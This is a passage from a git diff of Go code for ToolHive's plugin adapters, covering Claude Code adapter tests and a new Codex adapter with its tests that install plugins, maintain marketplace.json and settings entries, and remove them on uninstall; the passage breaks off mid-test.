makePluginLayer(t, []ociskills.FileEntry{ + {Path: "hooks/preinstall.sh", Content: []byte("#!/bin/sh\necho hi"), Mode: 0755}, + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + wantDir := filepath.Join(tempHome, ".claude", "plugins", "my-plugin") + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "my-plugin", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"hooks": 1, "commands": 1}, + }) + require.NoError(t, err) + + // The hook script must be executable on disk. + info, err := os.Stat(filepath.Join(wantDir, "hooks", "preinstall.sh")) + require.NoError(t, err) + assert.NotZero(t, info.Mode().Perm()&0o100, + "executable bit should be preserved on disk, got mode %o", info.Mode().Perm()) + + // A regular markdown file must NOT be executable. + mdInfo, err := os.Stat(filepath.Join(wantDir, "commands", "greet.md")) + require.NoError(t, err) + assert.Zero(t, mdInfo.Mode().Perm()&0o100, + "non-executable file should not gain exec bit, got mode %o", mdInfo.Mode().Perm()) +} + +func TestClaudeCodeAdapter_DroppedComponents(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Declare all six component types; Claude Code drops mcpServers + lspServers. + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/x.md", Content: []byte("x"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "drop-test", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{ + "commands": 1, + "agents": 1, + "skills": 1, + "hooks": 1, + "mcpServers": 1, + "lspServers": 1, + }, + }) + require.NoError(t, err) + + // Dropped set is unordered; compare as a set. + got := map[plugins.ComponentType]bool{} + for _, c := range res.DroppedComponents { + got[c] = true + } + assert.Equal(t, map[plugins.ComponentType]bool{ + plugins.ComponentMCP: true, + plugins.ComponentLSP: true, + }, got) +} + +func TestClaudeCodeAdapter_DematerializeRemovesDir(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "remove-me", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + dir := filepath.Join(tempHome, ".claude", "plugins", "remove-me") + _, err = os.Stat(dir) + require.NoError(t, err) + + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "remove-me", Scope: plugins.ScopeUser})) + + _, err = os.Stat(dir) + assert.True(t, os.IsNotExist(err), "dir should be gone after dematerialize") + + // The shared marketplace.json must be gone once the last plugin is removed. + _, err = os.Stat(filepath.Join(filepath.Dir(dir), ".claude-plugin", "marketplace.json")) + assert.True(t, os.IsNotExist(err), "shared marketplace.json removed when no plugins remain") + + // The enabledPlugins entry for remove-me@toolhive must be gone, and the + // marketplace entry must also be gone (no remaining toolhive plugins). + settings := readSettings(t, userSettingsPath(tempHome)) + if enabled, ok := settings["enabledPlugins"].(map[string]any); ok { + _, present := enabled["remove-me@toolhive"] + assert.False(t, present, "enabledPlugins entry should be removed") + } + _, hasMarketplaces := settings["extraKnownMarketplaces"] + assert.False(t, hasMarketplaces, "marketplace entry should be removed when no toolhive plugins remain") +} + +func TestClaudeCodeAdapter_DematerializeIdempotent(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Dematerializing something that was never installed is not an error. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "never-there", Scope: plugins.ScopeUser})) + // A second dematerialize is also fine. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "never-there", Scope: plugins.ScopeUser})) + + // Dematerializing a never-installed plugin must NOT create settings.json. + _, err := os.Stat(userSettingsPath(tempHome)) + assert.True(t, os.IsNotExist(err), "no settings.json should be created by dematerialize") +} + +func TestClaudeCodeAdapter_RematerializeOverwrites(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + dir := filepath.Join(tempHome, ".claude", "plugins", "reinstall") + + first := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/v1.md", Content: []byte("v1"), Mode: 0644}, + }) + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "reinstall", + LayerData: first, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + _, err = os.Stat(filepath.Join(dir, "commands", "v1.md")) + require.NoError(t, err) + + // Re-materialize with different content; force=true must overwrite. + second := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/v2.md", Content: []byte("v2"), Mode: 0644}, + }) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "reinstall", + LayerData: second, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + _, err = os.Stat(filepath.Join(dir, "commands", "v2.md")) + require.NoError(t, err, "new file should exist after reinstall") + // v1.md is removed because force overwrites the whole directory. + _, err = os.Stat(filepath.Join(dir, "commands", "v1.md")) + assert.True(t, os.IsNotExist(err), "old file should be gone after forced reinstall") + + // The settings.json entries should not be duplicated. + settings := readSettings(t, userSettingsPath(tempHome)) + enabled, ok := settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins present") + assert.Equal(t, true, enabled["reinstall@toolhive"]) +} + +func TestClaudeCodeAdapter_ScopeSupport(t *testing.T) { + t.Parallel() + a := &ClaudeCodeAdapter{} + ss := a.ScopeSupport() + assert.False(t, ss.DegradesOnProjectScope) + assert.Empty(t, ss.Reason) +} + +func TestClaudeCodeAdapter_MaterializePreservesUnrelatedSettingsKeys(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + // Seed ~/.claude/settings.json with an unrelated top-level key and an + // unrelated enabled plugin under a different marketplace. + seed := map[string]any{ + "foo": "bar", + "enabledPlugins": map[string]any{ + "other@somewhere": true, + }, + } + require.NoError(t, os.MkdirAll(filepath.Dir(userSettingsPath(tempHome)), 0o700)) + seedData, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(userSettingsPath(tempHome), seedData, 0o600)) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "preserve", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + // Unrelated keys must survive materialize. + settings := readSettings(t, userSettingsPath(tempHome)) + assert.Equal(t, "bar", settings["foo"]) + enabled, ok := settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins present") + assert.Equal(t, true, enabled["other@somewhere"], "unrelated enabled plugin survives") + assert.Equal(t, true, enabled["preserve@toolhive"], "new plugin enabled") + + // Dematerialize and confirm unrelated keys still survive. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "preserve", Scope: plugins.ScopeUser})) + settings = readSettings(t, userSettingsPath(tempHome)) + assert.Equal(t, "bar", settings["foo"]) + enabled, ok = settings["enabledPlugins"].(map[string]any) + require.True(t, ok, "enabledPlugins still present") + assert.Equal(t, true, enabled["other@somewhere"], "unrelated enabled plugin survives dematerialize") + _, present := enabled["preserve@toolhive"] + assert.False(t, present, "toolhive plugin entry removed") +} + +func TestClaudeCodeAdapter_DematerializeRemovesMarketplaceEntryWhenNoToolhivePluginsRemain(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/x.md", Content: []byte("x"), Mode: 0644}, + }) + + // Install two plugins. + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "alpha", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "beta", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + // Remove alpha: marketplace entry stays because beta is still enabled. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "alpha", Scope: plugins.ScopeUser})) + settings := readSettings(t, userSettingsPath(tempHome)) + enabled := settings["enabledPlugins"].(map[string]any) + _, alphaPresent := enabled["alpha@toolhive"] + assert.False(t, alphaPresent, "alpha removed") + assert.Equal(t, true, enabled["beta@toolhive"], "beta still enabled") + _, hasMarketplaces := settings["extraKnownMarketplaces"] + assert.True(t, hasMarketplaces, "marketplace entry stays while beta enabled") + + // Remove beta: marketplace entry is now removed (no toolhive plugins left). + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + settings = readSettings(t, userSettingsPath(tempHome)) + _, hasMarketplaces = settings["extraKnownMarketplaces"] + assert.False(t, hasMarketplaces, "marketplace entry removed when no toolhive plugins remain") + _, hasEnabled := settings["enabledPlugins"] + assert.False(t, hasEnabled, "enabledPlugins removed when empty") +} + +func TestClaudeCodeAdapter_NonLifoUninstallKeepsMarketplacePathValid(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + pluginsDir := filepath.Join(tempHome, ".claude", "plugins") + + // Install alpha, then beta (same user scope). + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "alpha", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + _, err = a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "beta", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + alphaDir := filepath.Join(pluginsDir, "alpha") + betaDir := filepath.Join(pluginsDir, "beta") + require.DirExists(t, alphaDir) + require.DirExists(t, betaDir) + + // Non-LIFO: beta was installed second but removed first. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + + // The shared manifest must still list alpha (with its ./alpha source) and no + // longer list beta. + mp := readClaudeMarketplaceManifest(t, pluginsDir) + requireMarketplacePlugin(t, mp, "alpha") + for _, p := range mp.Plugins { + assert.NotEqual(t, "beta", p.Name, "beta removed from manifest") + } + + settings := readSettings(t, userSettingsPath(tempHome)) + + // alpha@toolhive must still be enabled. + enabled := settings["enabledPlugins"].(map[string]any) + assert.Equal(t, true, enabled["alpha@toolhive"], "alpha still enabled after non-LIFO uninstall of beta") + + // The toolhive marketplace entry must still exist because alpha is enabled, + // and its path must point at the plugins parent directory, which still + // exists on disk (not at beta's now-deleted directory). + requireMarketplaceEntry(t, settings, alphaDir) + + marketplaces := settings["extraKnownMarketplaces"].(map[string]any) + tv := marketplaces["toolhive"].(map[string]any) + src := tv["source"].(map[string]any) + mpPath, _ := src["path"].(string) + assert.Equal(t, pluginsDir, mpPath, "marketplace path is the plugins parent dir") + _, err = os.Stat(mpPath) + assert.NoError(t, err, "marketplace path directory still exists on disk") + + // beta's directory is gone, alpha's remains. + assert.NoDirExists(t, betaDir, "beta directory removed") + assert.DirExists(t, alphaDir, "alpha directory still present") +} + +func TestClaudeCodeAdapter_ProjectScopeUsesProjectSettings(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewClaudeCodeAdapter(cm) + + projectRoot := t.TempDir() + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "commands/greet.md", Content: []byte("# greet"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "proj-plugin", + LayerData: layer, + Scope: plugins.ScopeProject, + ProjectRoot: projectRoot, + Components: plugins.ComponentInventory{"commands": 1}, + }) + require.NoError(t, err) + + wantDir := filepath.Join(projectRoot, ".claude", "plugins", "proj-plugin") + assert.Equal(t, wantDir, res.InstallPath) + + // The settings file written must be the project one, not the user one. + projectSettings := filepath.Join(projectRoot, ".claude", "settings.json") + _, err = os.Stat(projectSettings) + require.NoError(t, err, "project settings.json must exist") + _, err = os.Stat(userSettingsPath(tempHome)) + assert.True(t, os.IsNotExist(err), "user settings.json must not be created for project scope") + + settings := readSettings(t, projectSettings) + enabled := settings["enabledPlugins"].(map[string]any) + assert.Equal(t, true, enabled["proj-plugin@toolhive"]) + requireMarketplaceEntry(t, settings, wantDir) + + // Dematerialize reverts the project settings. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{ + Name: "proj-plugin", + Scope: plugins.ScopeProject, + ProjectRoot: projectRoot, + })) + settings = readSettings(t, projectSettings) + _, hasMarketplaces := settings["extraKnownMarketplaces"] + assert.False(t, hasMarketplaces, "project marketplace entry removed") + _, hasEnabled := settings["enabledPlugins"] + assert.False(t, hasEnabled, "project enabledPlugins removed when empty") +} diff --git a/pkg/plugins/adapters/codex.go b/pkg/plugins/adapters/codex.go new file mode 100644 index 0000000000..b6bf09b6bd --- /dev/null +++ b/pkg/plugins/adapters/codex.go @@ -0,0 +1,301 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sort" + + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +// CodexAdapter materializes plugins for the OpenAI Codex CLI. +// +// Codex discovers marketplaces at a fixed set of paths, including the personal +// ~/.agents/plugins/marketplace.json and the per-repo +// $REPO_ROOT/.agents/plugins/marketplace.json. ToolHive extracts each plugin's +// source under that marketplace root (namespaced by the "toolhive" marketplace +// name, i.e. /toolhive/) and maintains the marketplace.json so Codex +// can discover it, with a relative "./toolhive/" source per the docs. +// +// Loading the plugin is then a one-time manual step the user runs with the Codex +// CLI (`codex plugin install @toolhive`). ToolHive deliberately does NOT +// shell out to the `codex` binary or write speculative `~/.codex/config.toml` +// enable state: enabling an un-installed plugin doesn't load it, and writing to +// the user's shared config has blast radius for no benefit. The manual step is +// documented in docs/arch/14-plugins-system.md. +// +// See https://developers.openai.com/codex/plugins/build. +type CodexAdapter struct { + cm *client.ClientManager + installer skills.Installer +} + +// NewCodexAdapter returns a CodexAdapter backed by the given ClientManager +// and a production skills.Installer. +func NewCodexAdapter(cm *client.ClientManager) *CodexAdapter { + return &CodexAdapter{ + cm: cm, + installer: skills.NewInstaller(), + } +} + +var codexSupported = []plugins.ComponentType{ + plugins.ComponentSkills, + plugins.ComponentMCP, + plugins.ComponentHooks, +} + +const ( + // codexPluginCategory is the category recorded for ToolHive plugins in the + // Codex marketplace manifest (a required field). + codexPluginCategory = "Productivity" + // codexPolicyInstallation / codexPolicyAuthentication are the marketplace + // entry policy values: the plugin is available and authenticates on install. + codexPolicyInstallation = "AVAILABLE" + codexPolicyAuthentication = "ON_INSTALL" +) + +// codexMarketplaceRoot returns the Codex marketplace root for the given scope: +// the personal ~/.agents/plugins for user scope, or /.agents/plugins +// for project scope. Both are marketplace-discovery paths Codex reads. +func (a *CodexAdapter) codexMarketplaceRoot(scope plugins.Scope, projectRoot string) string { + if scope == plugins.ScopeProject && projectRoot != "" { + return filepath.Join(projectRoot, ".agents", "plugins") + } + return filepath.Join(a.cm.HomeDir(), ".agents", "plugins") +} + +// codexMarketplaceFile returns the marketplace manifest path for a marketplace +// rooted at root: /marketplace.json. +func codexMarketplaceFile(root string) string { + return filepath.Join(root, "marketplace.json") +} + +// codexSourcePath returns the relative "./toolhive/" source path recorded +// in the manifest for a plugin, resolved against the marketplace root. +func codexSourcePath(name string) string { + return "./" + filepath.ToSlash(filepath.Join(marketplaceName, name)) +} + +// Materialize extracts the plugin's source under the Codex marketplace root and +// registers it in the shared marketplace.json. It does not touch config.toml or +// invoke the Codex CLI; the user completes loading with a one-time +// `codex plugin install` (see the package doc). +func (a *CodexAdapter) Materialize(_ context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + // GetPluginPath returns /toolhive/; it validates the + // name (no traversal) and resolves the scope-specific root. + pluginDir, err := a.cm.GetPluginPath(client.Codex, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + return nil, fmt.Errorf("resolving plugin path: %w", err) + } + + if _, err := a.installer.ExtractPlugin(req.LayerData, pluginDir, true); err != nil { + return nil, fmt.Errorf("extracting plugin: %w", err) + } + + // Register the plugin in the shared marketplace.json at the marketplace root + // so Codex can discover it. + root := a.codexMarketplaceRoot(req.Scope, req.ProjectRoot) + if err := upsertCodexMarketplace(codexMarketplaceFile(root), req.Name); err != nil { + return nil, fmt.Errorf("writing codex marketplace: %w", err) + } + + return &plugins.MaterializeResult{ + InstalledComponents: codexSupported, + DroppedComponents: droppedComponents(req.Components, codexSupported), + InstallPath: pluginDir, + ProjectScopeDegraded: false, + }, nil +} + +// Dematerialize removes the plugin's source directory and its marketplace.json +// entry (deleting the manifest when no plugins remain). +func (a *CodexAdapter) Dematerialize(_ context.Context, req plugins.DematerializeRequest) error { + var errs []error + + pluginDir, err := a.cm.GetPluginPath(client.Codex, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + errs = append(errs, fmt.Errorf("resolving plugin path: %w", err)) + } else { + if rmErr := a.installer.Remove(pluginDir); rmErr != nil { + errs = append(errs, fmt.Errorf("removing plugin directory: %w", rmErr)) + } else { + // Best-effort empty-parent cleanup. + cleanupAfterRemove(pluginDir, req.Scope, req.ProjectRoot, a.cm.HomeDir()) + } + } + + // Remove the plugin from the shared marketplace.json (idempotent). The file + // is deleted once no plugins remain. + root := a.codexMarketplaceRoot(req.Scope, req.ProjectRoot) + if mErr := removeCodexMarketplace(codexMarketplaceFile(root), req.Name); mErr != nil { + errs = append(errs, fmt.Errorf("removing plugin from codex marketplace: %w", mErr)) + } + + if len(errs) > 0 { + return errors.Join(errs...) + } + return nil +} + +// SupportedComponents returns the component types the Codex CLI loads. +func (*CodexAdapter) SupportedComponents() []plugins.ComponentType { + return codexSupported +} + +// ScopeSupport returns no degradation for Codex: user scope uses the personal +// ~/.agents/plugins marketplace and project scope uses the per-repo +// /.agents/plugins marketplace, both of which Codex discovers. +func (*CodexAdapter) ScopeSupport() plugins.ScopeSupport { + return plugins.ScopeSupport{DegradesOnProjectScope: false} +} + +// --- marketplace.json helpers --- + +// codexMarketplace is the Codex marketplace manifest: a top-level name and a +// list of plugin entries. See https://developers.openai.com/codex/plugins/build. +type codexMarketplace struct { + Name string `json:"name"` + Plugins []codexMarketplacePlugin `json:"plugins"` +} + +// codexMarketplacePlugin is a single Codex marketplace entry. +type codexMarketplacePlugin struct { + Name string `json:"name"` + Source codexPluginSource `json:"source"` + Policy codexPluginPolicy `json:"policy"` + Category string `json:"category"` +} + +// codexPluginSource is the local source descriptor for a marketplace entry. Path +// is resolved relative to the marketplace root and starts with "./". +type codexPluginSource struct { + Source string `json:"source"` // "local" + Path string `json:"path"` // "./toolhive/" +} + +// codexPluginPolicy carries the marketplace entry's install/auth policy. +type codexPluginPolicy struct { + Installation string `json:"installation"` // "AVAILABLE" + Authentication string `json:"authentication"` // "ON_INSTALL" +} + +// upsertCodexMarketplace writes/maintains the marketplace.json, adding or +// updating the plugin entry for the toolhive marketplace under a file lock. +func upsertCodexMarketplace(marketplacePath, name string) error { + if err := os.MkdirAll(filepath.Dir(marketplacePath), 0o700); err != nil { + return fmt.Errorf("creating marketplace dir: %w", err) + } + + return fileutils.WithFileLock(marketplacePath, func() error { + mp, err := readCodexMarketplace(marketplacePath) + if err != nil { + return err + } + entry := codexMarketplacePlugin{ + Name: name, + Source: codexPluginSource{ + Source: "local", + Path: codexSourcePath(name), + }, + Policy: codexPluginPolicy{ + Installation: codexPolicyInstallation, + Authentication: codexPolicyAuthentication, + }, + Category: codexPluginCategory, + } + replaced := false + for i := range mp.Plugins { + if mp.Plugins[i].Name == name { + mp.Plugins[i] = entry + replaced = true + break + } + } + if !replaced { + mp.Plugins = append(mp.Plugins, entry) + } + sortCodexMarketplacePlugins(mp.Plugins) + return writeCodexMarketplace(marketplacePath, mp) + }) +} + +// removeCodexMarketplace removes the plugin entry from the marketplace.json. +// When no entries remain, the file is deleted. Idempotent: a missing file or +// missing entry is not an error. +func removeCodexMarketplace(marketplacePath, name string) error { + if _, err := os.Stat(marketplacePath); err != nil { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return fmt.Errorf("checking marketplace file: %w", err) + } + + return fileutils.WithFileLock(marketplacePath, func() error { + mp, err := readCodexMarketplace(marketplacePath) + if err != nil { + return err + } + filtered := mp.Plugins[:0] + for _, p := range mp.Plugins { + if p.Name != name { + filtered = append(filtered, p) + } + } + mp.Plugins = filtered + if len(mp.Plugins) == 0 { + if err := os.Remove(marketplacePath); err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("removing marketplace.json: %w", err) + } + return nil + } + return writeCodexMarketplace(marketplacePath, mp) + }) +} + +// readCodexMarketplace reads and parses the marketplace.json, returning a +// freshly-initialized manifest (with name set) when the file is missing or empty. +func readCodexMarketplace(path string) (*codexMarketplace, error) { + mp := &codexMarketplace{Name: marketplaceName} + data, err := os.ReadFile(path) // #nosec G304 -- path is a known tool config file location + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return mp, nil + } + return nil, fmt.Errorf("reading marketplace.json: %w", err) + } + if len(data) == 0 { + return mp, nil + } + if err := json.Unmarshal(data, mp); err != nil { + return nil, fmt.Errorf("parsing marketplace.json: %w", err) + } + if mp.Name == "" { + mp.Name = marketplaceName + } + return mp, nil +} + +// writeCodexMarketplace marshals and atomically writes the marketplace.json. +func writeCodexMarketplace(path string, mp *codexMarketplace) error { + data, err := json.MarshalIndent(mp, "", " ") + if err != nil { + return fmt.Errorf("marshaling marketplace.json: %w", err) + } + return fileutils.AtomicWriteFile(path, data, 0o600) +} + +// sortCodexMarketplacePlugins orders entries by name for a stable manifest. +func sortCodexMarketplacePlugins(ps []codexMarketplacePlugin) { + sort.Slice(ps, func(i, j int) bool { return ps[i].Name < ps[j].Name }) +} diff --git a/pkg/plugins/adapters/codex_test.go b/pkg/plugins/adapters/codex_test.go new file mode 100644 index 0000000000..580a0395bc --- /dev/null +++ b/pkg/plugins/adapters/codex_test.go @@ -0,0 +1,313 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "sort" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + ociskills "github.com/stacklok/toolhive-core/oci/skills" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// codexMarketplaceFile returns the shared marketplace.json path for user scope: +// ~/.agents/plugins/marketplace.json. +func codexUserMarketplaceFile(tempHome string) string { + return filepath.Join(tempHome, ".agents", "plugins", "marketplace.json") +} + +// codexPluginDir returns the plugin source dir for a user-scope plugin: +// ~/.agents/plugins/toolhive/. +func codexPluginDir(tempHome, name string) string { + return filepath.Join(tempHome, ".agents", "plugins", "toolhive", name) +} + +// readCodexMarketplaceFile parses the marketplace.json at path; fails the test +// if it is absent. +func readCodexMarketplaceFileAt(t *testing.T, path string) codexMarketplace { + t.Helper() + b, err := os.ReadFile(path) + require.NoError(t, err, "marketplace.json should exist at %s", path) + var mp codexMarketplace + require.NoError(t, json.Unmarshal(b, &mp)) + return mp +} + +// findCodexPlugin returns the marketplace entry for name, or fails the test. +func findCodexPlugin(t *testing.T, mp codexMarketplace, name string) codexMarketplacePlugin { + t.Helper() + assert.Equal(t, "toolhive", mp.Name, "marketplace name") + for _, p := range mp.Plugins { + if p.Name == name { + return p + } + } + t.Fatalf("plugin %q not found in marketplace %+v", name, mp.Plugins) + return codexMarketplacePlugin{} +} + +func TestCodexAdapter_SupportedComponents(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + got := a.SupportedComponents() + assert.Equal(t, []plugins.ComponentType{ + plugins.ComponentSkills, + plugins.ComponentMCP, + plugins.ComponentHooks, + }, got) +} + +func TestCodexAdapter_MaterializeExtractsAndRegisters(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/useful/SKILL.md", Content: []byte("# useful"), Mode: 0644}, + }) + + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "foo", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"skills": 1}, + }) + require.NoError(t, err) + + // Plugin source is extracted under the marketplace root: + // ~/.agents/plugins/toolhive/foo. + wantDir := codexPluginDir(tempHome, "foo") + assert.Equal(t, wantDir, res.InstallPath) + _, err = os.Stat(filepath.Join(wantDir, "skills", "useful", "SKILL.md")) + require.NoError(t, err) + assert.False(t, res.ProjectScopeDegraded, "user scope must not be degraded") + + // The adapter must NOT touch ~/.codex/config.toml. + _, err = os.Stat(filepath.Join(tempHome, ".codex", "config.toml")) + assert.True(t, os.IsNotExist(err), "config.toml must not be created") + + // The shared marketplace.json must list the plugin with a relative source, + // policy, and category. + mp := readCodexMarketplaceFileAt(t, codexUserMarketplaceFile(tempHome)) + p := findCodexPlugin(t, mp, "foo") + assert.Equal(t, "local", p.Source.Source) + assert.Equal(t, "./toolhive/foo", p.Source.Path, "relative source path inside the marketplace root") + assert.Equal(t, codexPolicyInstallation, p.Policy.Installation) + assert.Equal(t, codexPolicyAuthentication, p.Policy.Authentication) + assert.NotEmpty(t, p.Category, "category is a required field") +} + +func TestCodexAdapter_DematerializeRemovesPluginAndEntry(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/useful/SKILL.md", Content: []byte("# useful"), Mode: 0644}, + }) + + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "foo", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"skills": 1}, + }) + require.NoError(t, err) + + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "foo", Scope: plugins.ScopeUser})) + + // Plugin source dir must be gone. + _, err = os.Stat(codexPluginDir(tempHome, "foo")) + assert.True(t, os.IsNotExist(err), "plugin dir should be gone after dematerialize") + + // The last plugin was removed, so the marketplace.json must be deleted. + _, err = os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "marketplace.json should be deleted after removing the last plugin") +} + +func TestCodexAdapter_DroppedComponentsAllSix(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + // Declare all six component types; Codex drops commands, agents, lspServers. + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "drop-all", + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{ + "commands": 1, + "agents": 1, + "skills": 1, + "hooks": 1, + "mcpServers": 1, + "lspServers": 1, + }, + }) + require.NoError(t, err) + + got := append([]plugins.ComponentType(nil), res.DroppedComponents...) + sort.Slice(got, func(i, j int) bool { return got[i] < got[j] }) + assert.Equal(t, []plugins.ComponentType{ + plugins.ComponentAgents, + plugins.ComponentCommands, + plugins.ComponentLSP, + }, got) + + // Clean up so this test leaves no state behind. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "drop-all", Scope: plugins.ScopeUser})) +} + +func TestCodexAdapter_ProjectScopeUsesProjectMarketplace(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + // Project scope writes to /.agents/plugins, a Codex discovery + // path, so it does NOT degrade. + projectRoot := t.TempDir() + res, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: "proj-plugin", + LayerData: layer, + Scope: plugins.ScopeProject, + ProjectRoot: projectRoot, + Components: plugins.ComponentInventory{"skills": 1}, + }) + require.NoError(t, err) + assert.False(t, res.ProjectScopeDegraded, "project scope must not be degraded for codex") + + wantDir := filepath.Join(projectRoot, ".agents", "plugins", "toolhive", "proj-plugin") + assert.Equal(t, wantDir, res.InstallPath) + + // The marketplace must be the project one, not the user one. + projMarketplace := filepath.Join(projectRoot, ".agents", "plugins", "marketplace.json") + mp := readCodexMarketplaceFileAt(t, projMarketplace) + findCodexPlugin(t, mp, "proj-plugin") + _, err = 